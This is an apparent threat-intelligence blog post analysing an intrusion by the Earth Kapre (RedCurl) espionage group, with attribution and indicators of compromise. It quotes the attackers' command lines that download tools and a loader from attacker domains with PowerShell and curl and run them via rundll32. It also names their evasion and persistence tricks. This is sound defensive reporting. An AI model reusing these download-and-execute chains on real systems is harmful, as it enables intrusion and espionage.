Attaques ciblées & APT
Unveiling Earth Kapre aka RedCurl’s Cyberespionage Tactics With Trend Micro MDR, Threat Intelligence
This blog entry will examine Trend Micro MDR team's investigation that successfully uncovered the intrusion sets employed by Earth Kapre in a recent incident, as well as how the team leveraged threat intelligence to attribute the extracted evidence to the cyberespionage threat group.
The espionage group Earth Kapre (aka RedCurl and Red Wolf) has been actively conducting phishing campaigns targeting organizations in Russia, Germany, Ukraine, the United Kingdom, Slovenia, Canada, Australia, and the US. It uses phishing emails that contain malicious attachments (.iso and .img), which lead to successful infections upon opening. This triggers the creation of a scheduled task for persistence, alongside the unauthorized collection and transmission of sensitive data to command-and-control (C&C) servers.
The Trend Micro Managed Extended Detection and Response (MDR) and Incident Response (IR) team conducted an investigation of an incident where numerous machines were infected by the Earth Kapre downloader. This piece of malware was observed establishing connections with its C&C servers, suggesting a potential data theft scenario. Interestingly, in this instance, Earth Kapre has returned to using a previously known technique that is distinct from its more recent campaigns: It used legitimate tools Powershell.exe and curl.exe to procure the subsequent stage downloader. In an attempt to blend into the network and evade detection, Earth Kapre was found to have used the Program Compatibility Assistant (pcalua.exe) to execute malicious command lines.
This blog entry will examine Trend Micro MDR team's investigation that successfully uncovered the intrusion sets employed by Earth Kapre in a recent incident, as well as how the team leveraged threat intelligence to attribute the extracted evidence to the cyberespionage threat group.
MDR investigation
The Trend Micro MDR threat hunting team initially detected the creation of a suspicious file in C:\Windows\System32\ms.dll (detected by Trend Micro as Trojan.Win64.CRUDLER.A). Further investigation revealed the use of curl.exe to download the file from the following URLs:
- http://preston[.]melaniebest[.]com/ms/ms.tmp
- https://preslive[.]cn[.]alphastoned.pro/ms/msa.tmp
- https://unipreg[.]tumsun[.]com/ms/psa.tmp
- http://report[.]hkieca[.]com/ms/msa.tmp
![Figure 1. Trend Vision One™ Execution Profile shows the downloaded Earth Kapre loader using “curl.exe” from “http://preston[.]melaniebest[.]com” (23[.]254[.]224[.]79).](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig1_Earth%20Kapre.png)
After examining the events around the time the file was created, we discovered that the threat actor executed the following actions:
We observed that the initial command employs PowerShell to download a file (curl.tmp) from the URL http://preston[.]melaniebest[.]com/ms/curl.tmp and saves it as curl.exe in the C:\Windows\System32\ directory. For the benefit of this analysis, we will use this domain, but the same analysis should hold for the other domains in the previously mentioned list of URLs. Curl.exe is a command-line tool and library designed for efficient data transfer with URLs. While it is a legitimate tool, it can also be abused by threat actors for malicious purposes.
%COMSPEC% /Q /c echo powershell -c "iwr -Uri http://preston[.]melaniebest[.]com/ms/curl.tmp -OutFile C:\Windows\System32\curl.exe -UseBasicParsing" ^> \\127.0.0.1\C$\dvPqyh 2^>^&1 > %TEMP%\KzIMnc.bat & %COMSPEC% /Q /c %TEMP%\KzIMnc.bat & %COMSPEC% /Q /c del %TEMP%\KzIMnc.bat
Next, 7za.tmp was downloaded and saved as 7za.exe in C:\Windows\System32\ directory. 7za.exe is a copy of 7-Zip, a popular open-source file compression and archiving utility.
C:\Windows\system32\cmd.exe /Q /c echo curl -o C:\Windows\System32\7za.exe http://preston[.]melaniebest[.]com/ms/7za.tmp ^> \\127.0.0.1\C$\xWJhao 2^>^&1 > C:\Windows\TEMP\IAqJUm.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\IAqJUm.bat & C:\Windows\system32\cmd.exe /Q /c del C:\Windows\TEMP\IAqJUm.bat
The Earth Kapre loader was then downloaded using curl.exe from the same domain, http://preston[.]melaniebest[.]com/ms/ms.tmp, and was saved as ms.dll (though it should be noted that in some machines, the file name used was ps.dll) in the C:\Windows\System32\ directory. The threat actors used echo (as also seen in previous commands) and outputted it into a batch file, which is a commonly employed obfuscation technique. By echoing the command into a batch file, they could dynamically generate and execute commands, making it harder to analyze or detect malicious activities. The use of temporary batch files also allows for task automation and easier security monitoring evasion. We observed that the threat actors deleted the batch file afterward to cover their tracks.
C:\Windows\system32\cmd.exe /Q /c echo curl -o C:\Windows\System32\ms.dll http://preston[.]melaniebest.com/ms/ms.tmp ^> \\127.0.0.1\C$\tZpOKq 2^>^&1 > C:\Windows\TEMP\DFMPAa.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\DFMPAa.bat & C:\Windows\system32\cmd.exe /Q /c del C:\Windows\TEMP\DFMPAa.bat
Since ms.tmp is an archive, the threat actors would need to use the previously downloaded 7za.exe (7zip) to extract file contents via the password “123”.
C:\Windows\system32\cmd.exe /Q /c echo 7za.exe x -aoa -p123 C:\Windows\Temp\ms.tmp -o C:\Windows\Temp\ ^> \\127.0.0.1\C$\lgNMiK 2^>^&1 > C:\Windows\TEMP\BuWmUA.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\BuWmUA.bat & C:\Windows\system32\cmd.exe /Q /c del C:\Windows\TEMP\BuWmUA
Rundll32.exe was then used to execute ms.dll on the machine (in some machines, ps.dll was executed).
%COMSPEC% /Q /c echo rundll32.exe C:\Windows\system32\ms.dll,ms ^> \\127.0.0.1\C$\NoajCy 2^>^&1 > %TEMP%\YdEcul.bat & %COMSPEC% /Q /c %TEMP%\YdEcul.bat & %COMSPEC% /Q /c del %TEMP%\YdEcul.bat
The Python script was crafted to establish outbound communication and execute remote commands using Server Message Block (SMB) via port 445. During the execution of the script named client.py, an external IP address, 198[.]252[.]101[.]86, is passed as a command-line argument, suggesting its potential role as a C&C server.
"C:\Users\<username>\AppData\Roaming\MUIService\pythonw.exe" C:\Users\<username>\AppData\Roaming\MUIService\rpv\client.py --server-ip 198[.]252[.]101[.]86 --server-port 41808
The presence of Impacket
Impacket is an open-source collection of Python classes for constructing and manipulating network protocols. Impacket activity was detected in the organization’s network, indicating its use of Windows network protocol interactions. The observed command lines align with Impacket's smbexec script, enabling a semi-interactive shell via SMB. Threat actors are drawn to Impacket's versatility and exploit its capabilities for unauthorized command execution, as highlighted in this blog entry.
![Figure 2. Evidence of Impacket-related services in the registry](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig2_Earth%20Kapre.png)
![Figure 3. An example of Impacket‘s execution observed in the registry via Trend Vision One Execution Profile](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig3_Earth%20Kapre.png)
The command lines we identified in our investigation closely resembled Impacket’s smbexec script, as demonstrated in the succeeding examples:
Registry root: 3 |
Registry root: 3 |
Registry root: 3 |
We identified a command that appears to use netstat to check for an open port 4119. The purpose of this command might involve gathering network connection information linked to the specified port or checking for a specific pattern in the netstat output. Port 4119 serves as the Trend Micro Deep Security Manager GUI and API port, suggesting that the threat actor could be verifying the presence of the security program on this machine.
Registry root: 3 |
![Figure 4. Evidence of netstat checking if port 4419 is open](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig4_Earth%20Kapre.png)
Abusing the Program Compatibility Assistant Service via Indirect Command Execution
The Program Compatibility Assistant Service (pcalua.exe) is a Windows service designed to identify and address compatibility issues with older programs. Adversaries can exploit this utility to enable command execution and bypass security restrictions by using it as an alternative command-line interpreter. In this investigation, the threat actor uses this tool to obscure their activities.
The Earth Kapre downloader has been distributed across various locations under randomly generated or obfuscated file names. The following are some enumerated examples that we discovered in our investigation:
- C:\Windows\system32\config\systemprofile\AppData\Local\AppList\gkcb92eb2f8982d93a.exe
- C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Wininet\gkcb92eb2f8982d93a.exe
- C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Wininet\sgef07b190e6e6d160.exe
- C:\Windows\system32\config\systemprofile\AppData\Local\AppList\sgef07b190e6e6d160.exe
- C:\Windows\system32\config\systemprofile\AppData\Local\Subscription\ujb7238088847c09ed.exe
- C:\Users\<username>\AppData\Local\BrokerInfraSVR\fik9562b2dec16c7ad6.exe
- C:\Users\<username>\AppData\Local\BrokerInfra\izd9562b2dec16c7ad6.exe
- C:\Windows\system32\config\systemprofile\AppData\Local\Sysmain\zyp14f2b5c5ecbb07d8.exe
- C:\Windows\system32\config\systemprofile\AppData\Local\tw-pfdc-320c6-4e95qd.tmp\pj8434bb720ad953af.exe
- C:\Windows\system32\config\systemprofile\AppData\Local\tw-pfdc-320c6-4e95qd.tmp\kmjf1a1952febed5f77.exe
- C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\DirectoryClient\yff936ad712ca94fc9.exe
- C:\Windows\system32\config\systemprofile\AppData\Local\D3DSCache\85ceb3adf3f4542\lva662fdf404f617d07.exe
- C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PRICache\2630989932\ogh0a430e919a35efd8.ex
- C:\Windows\system32\config\systemprofile\AppData\Local\Plex\ComponentODN\ylob1c94b2421ca1d39.exe
- C:\Users\<username>\AppData\Roaming\VirtualStore\ChromeSY_Q05MQVAyMw==.exe
In the following screenshot example, the file gkcb92eb2f8982d93a.exe, which was spawned by pcalua.exe, is observed establishing a connection to preston[.]melaniebest[.]com, the same domain discussed in the previous section.
![Figure 5. Earth Kapre downloader connects to “preston[.]melaniebest[.]com”](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig5_Earth%20Kapre.png)
To confirm the availability of a network connection, the Earth Kapre downloader sends an HTTP GET request directed at a randomly selected network resource from the following list:
- www.amazon.com
- www.bing.com
- duckduckgo.com
- www.ebay.com
- www.google.com
- www.google.co.uk
- www.microsoft.com
- www.msn.com
- ocsp.digicert.com
- ocsp.pki.goog
- ocsp.usertrust.com
- openid.ladatap.com
- www.reddit.com
- unipreg.tumsun.com
- www.wikipedia.org
- x1.c.lencr.org
- www.yahoo.com
By analyzing the acquired Earth Kapre downloader sample file, we have confirmed that the InternetOpenA and InternetConnectA API functions were used. These functions facilitate HTTP requests and verify the presence of a network connection.
![Figure 6. The Earth Kapre downloader confirms the network connection by sending an HTTP request to www.yahoo.com.](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig6_Earth%20Kapre.png)
Use of scheduled tasks for persistence
Scheduled tasks were installed for persistence, as illustrated in Figure 7, where various tasks commenced before the Earth Kapre downloader file was executed. Figure 7 further reveals the execution of the suspicious task CacheTask ef07b190e6e6d160 just before the Earth Kapre downloader was executed.
processCmd: C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
schtasks /run /tn "\Microsoft\Windows\Wininet\CacheTask ef07b190e6e6d160" "pcalua.exe" -a C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\Wininet\sgef07b190e6e6d160.exe
![Figure 7. Suspicious execution of scheduled tasks](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig7_Earth%20Kapre.png)
The task names, file names, and file locations differ in each machine. Figure 8 displays evidence of malicious scheduled tasks that execute: C:\Users\<username>\AppData\Local\Sysmain\oxdece5f42fddfbde1.exe on an hourly basis.
![Figure 8. Evidence of persistence in scheduled tasks collected from “C:\Windows\System32\Tasks”](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig8_Earth%20Kapre.png)
The created task name varies per machine, but it incorporates a segment of the associated Earth Kapre downloader file name. For instance, if the file name is ef07b190e6e6d160.exe, the scheduled task will be named CacheTask ef07b190e6e6d160. Table 1 displays examples of task names created across the infected machines in the network.
schtasks /run /tn "\Microsoft\Windows\Wininet\CacheTask ef07b190e6e6d160" |
schtasks /run /tn "\Microsoft\Windows\WDI\ResolutionHost 8434bb720ad953af" |
schtasks /run /tn "\Microsoft\Windows\WDI\ResolutionHost f1a1952febed5f77" |
schtasks /run /tn "\Microsoft\Windows\WindowsColorSystem\Calibration-Loader 3db1281b443ad4a0" |
schtasks /run /tn "\Microsoft\Windows\WlanSvc\CDSSync b1c94b2421ca1d39" |
schtasks /run /tn "\Microsoft\Windows\WOF\WIM-Hash-Management 0a430e919a35efd8" |
schtasks /run /tn "\Microsoft\Windows\WwanSvc\NotificationTask 662fdf404f617d07" |
schtasks /run /tn "\Microsoft\Windows\BrokerInfrastructure\BgTaskRegistrationMaintenanceTask 9eeb010c178ac301" |
schtasks /run /tn "\Microsoft\Windows\CloudExperienceHost\CreateObjectTask deacb04715b35f40" |
schtasks /run /tn "\Microsoft\Windows\Defrag\ScheduledDefrag 8ba2c22cafd02f59" |
schtasks /run /tn "\Microsoft\Windows\DeviceDirectoryClient\HandleWnsCommand f936ad712ca94fc9" |
schtasks /run /tn "\Microsoft\Windows\AppListBackup\BackupNonMaintenance cb92eb2f8982d93a" |
schtasks /run /tn "\Microsoft\Windows\Subscription\LicenseAcquisition b7238088847c09ed" |
schtasks /run /tn "\Microsoft\Windows\Sysmain\ResPriStaticDbSync 14f2b5c5ecbb07d8" |
Table 1. Task names created in infected machines
Tracing the point of entry
Given that the identified patient-zero machines lacked Trend Micro XDR installation, we had limited visibility when tracing the point of entry for the attack. To address this gap, we attempted to complete the chain by identifying a similar infrastructure observed in the incident. Utilizing the IP address 23[.]254[.]224[.]79 from our investigation, we systematically pivoted across various data points through cyberthreat intelligence and deduced that the initial access was delivered via a phishing email carrying a malicious attachment. The Earth Kapre samples found in the wild, including the one used in this attack, share the same infrastructure and are often delivered through malicious ISO or IMG files received via email.
The employment of cyberthreat intelligence methodologies, which encompassed data enrichment and correlation techniques, enhanced our capability to pinpoint the entry point, as illustrated in the following graph.
![Figure 9. Virus Total graph showing potential point of entry](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Earth%20Kapre%20figure-09.jpg)
![Figure 10. Earth Kapre attack chain](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Earth%20Kapre%20figure-10.jpg)
Attribution analysis
Multiple data points and indicators strongly indicate Earth Kapre's involvement in this attack, underscoring the ongoing activity of this group, which we will explain in detail in this section.
- - The C&C infrastructure
All observed C&C servers pivoted to 23[.]254[.]224[.]79, which is an IP address that’s been extensively used as a C&C server by Earth Kapre, based on samples found from the latter part of 2023 to the present.
![Figure 11. Enriching the data by pivoting and correlating the data points of “23[.]254[.]224[.]79”](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Earth%20Kapre%20figure-11.jpg)
The IP address 198[.]252[.]101[.]86, which was provided as an argument to the Client.py script, is linked to one of the phishing emails sent by the Earth Kapre group. This phishing email contains an attachment that leads to the download of a malicious LNK file and the Earth Kapre downloader.
![Figure 12. Enriching the data by pivoting and correlating the data points of “198[.]252[.]101[.]86”](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Earth%20Kapre%20figure-12.jpg)
The connection between the IP address and the phishing email can be determined from the mail header, as the IP address appears as the first hop in the mail route from the threat actor to the victim.
![Figure 13. The connection between the 198[.]252[.]101[.]86 IP address and the phishing email](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig13_Earth%20Kapre.png)
- - Code and behavior similarities
The sample we examined exhibited code similarities with known Earth Kapre downloaders used in previous campaigns. While the sample from the incident we handled appeared somewhat different at first glance, a closer analysis revealed striking similarities in functionality.
For example, the string decryption function in the new sample we examined gets addresses for Bcrypt APIs and calls them in the runtime as opposed to importing them, which is what older and available samples did. However, the sample we examined decrypts strings in a way that’s reminiscent of the decryption technique used by older samples:
- Calculate SHA256 for hard-coded string (yxNLWpc0s4JUTR8O3GOJC).
- Use part of the hash as an encryption key for Advanced Encryption Standard (AES) decryption.
![Figure 14. The examined sample shows part of an old decryption technique and the calling of Bcrypt APIs.](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig14_Earth%20Kapre.png)
![Figure 15. Getting API addresses in runtime](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig15_Earth%20Kapre.png)
![Figure 16. Loads and initializes SHA256 algorithm](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig16_Earth%20Kapre.png)
![Figure 17. Loads and initializes AES algorithm](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig17_Earth%20Kapre.png)
![Figure 18. Uses BcryptDecrypt API to decrypt string](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig18_Earth%20Kapre.png)
The simple comparison between the older and newer Earth Kapre downloader samples shows that there is a 70% to 90% similarity between the samples. We also noted a similarity in how the samples behaved, such as in the manner they check for internet availability and communicate with their C&C server.
![Figure 20. Checking for internet availability](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Fig20_Earth%20Kapre.png)
Using the Diamond Model of Intrusion Analysis
The Diamond Model of Intrusion Analysis is a cybersecurity framework that’s crucial for intrusion analysis. It decodes cyberthreats by focusing on four key aspects: adversary, infrastructure, capability, and victim. Understanding the who, why, and how of cyberattacks helps cybersecurity professionals predict and prepare for threats. It explores the geographical origin, identity, sponsorship, motivation, and timeline of adversaries.
- Adversary: Threat Actor/Attacker
- Capabilities: Adversary’s tools and/or techniques
- Infrastructure: Physical and/or logical resources used by the adversary
- Victim: Organization or system hit by the adversary
By analyzing these four components together, the Diamond Model of Intrusion Analysis helps cybersecurity professionals and analysts gain a comprehensive understanding of a cyberthreat and aids in attributing the threat to a specific adversary or group. It provides a structured approach to organizing and analyzing available data, enhancing the ability of security teams to make informed decisions about cybersecurity strategies and responses.
![Figure 21. Earth Kapre tactics, techniques, and procedures (TTPs), victims, and infrastructure via the Diamond Model of Intrusion Analysis Framework](/content/dam/trendmicro/global/en/research/24/c/unveiling-earth-kapre-aka-redcurl-cyberespionage-tactics-with-trend-micro-mdr-threat-intelligence/Earth%20Kapre%20figure-21.jpg)
In the Diamond Model, we apply the "Rule of Two" guide, seeking consistent combinations across various intrusion sets. If a particular combination exhibits two vertices in the Diamond Model, there is a better likelihood that we are confronting the same threat actor.
In our analysis of this case, within the capability vertices of the Diamond Model, we compared the Earth Kapre sample from the wild with the Earth Kapre sample acquired from the customer's environment. While the new samples showed an updated structure, both samples connect to the same infrastructure. This consistency in capability and infrastructure strongly suggests an association with the Earth Kapre group.
Conclusion
This case underscores the ongoing and active threat posed by Earth Kapre, a threat actor that targets a diverse range of industries across multiple countries. The actor employs sophisticated tactics, such as abusing PowerShell, curl, and Program Compatibility Assistant (pcalua.exe) to execute malicious commands, showcasing its dedication to evading detection within targeted networks.
The detection of Impacket activity within the organization's network reveals a concerning trend in the abuse of this tool for Windows network protocol interactions. Threat actors are capitalizing on Impacket's versatility and exploiting its functionalities for unauthorized command execution.
This report emphasizes the significance of threat intelligence in bridging gaps within investigations, filling missing pieces of evidence that are crucial for comprehensive understanding and protection. Understanding the threat actor behind an attack is paramount for organizations seeking to bolster their defenses. This knowledge not only aids in identifying potential motives but also allows for the implementation of tailored security measures to help prevent specific threats.
The role of MDR in uncovering intrusion sets, as demonstrated in this recent incident investigation, exemplifies its critical contribution to cybersecurity. MDR played a key role in attributing the evidence extracted from the attack to the Earth Kapre threat group. This reinforces the essential role of advanced threat detection and response solutions in effectively countering sophisticated threat actors.
Organizations should also consider using a multilayered approach to guard possible entry points into the system (endpoint, email, web, and network). The following Trend Micro solutions can detect malicious components and suspicious behavior to help keep enterprises secure:
- Trend Vision One provides multilayered protection and behavior detection, which helps block questionable behavior and tools early on before ransomware can do irreversible damage to the system.
- Trend Cloud One™ – Workload Security protects systems against both known and unknown threats that exploit vulnerabilities. This protection is made possible through techniques such as virtual patching and machine learning.
- Trend Micro™ Deep Discovery™ Email Inspector employs custom sandboxing and advanced analysis techniques to effectively block malicious emails, including phishing emails that can serve as entry points for ransomware.
- Trend Micro Apex One™ offers next-level automated threat detection and response against advanced concerns such as fileless threats and ransomware, ensuring the protection of endpoints.
Indicators of Compromise
The indicators of compromise for this entry can be found here.